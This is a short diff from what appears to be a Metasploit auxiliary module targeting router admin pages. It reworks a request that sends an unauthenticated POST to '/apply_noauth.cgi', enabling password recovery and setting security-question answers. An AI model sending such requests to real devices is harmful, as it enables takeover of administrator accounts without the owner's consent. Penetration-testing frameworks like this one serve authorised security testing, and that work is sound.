File tree Expand file tree Collapse file tree 1 file changed +5
-4
lines changed
modules/auxiliary/admin/http Expand file tree Collapse file tree 1 file changed +5
-4
lines changed Original file line number Diff line number Diff line change @@ -178,11 +178,12 @@ def report_cred(opts)
178
178
179
179
def send_req ( timestamp )
180
180
begin
181
- uri_str = ( timestamp == nil ? \
182
- "/apply_noauth.cgi?/ PWD_password.htm" : \
183
- "/apply_noauth.cgi?/ PWD_password.htm%20timestamp=#{ timestamp . to_s } " )
181
+ query_str = ( timestamp == nil ? \
182
+ '/ PWD_password.htm' : \
183
+ "/PWD_password.htm%20timestamp=#{ timestamp . to_s } " )
184
184
res = send_request_raw ( {
185
- 'uri' => uri_str ,
185
+ 'uri' => '/apply_noauth.cgi' ,
186
+ 'query' => query_str ,
186
187
'method' => 'POST' ,
187
188
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' } ,
188
189
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{ @q1 } &question2=2&answer2=#{ @q2 } "
You can’t perform that action at this time.
0 commit comments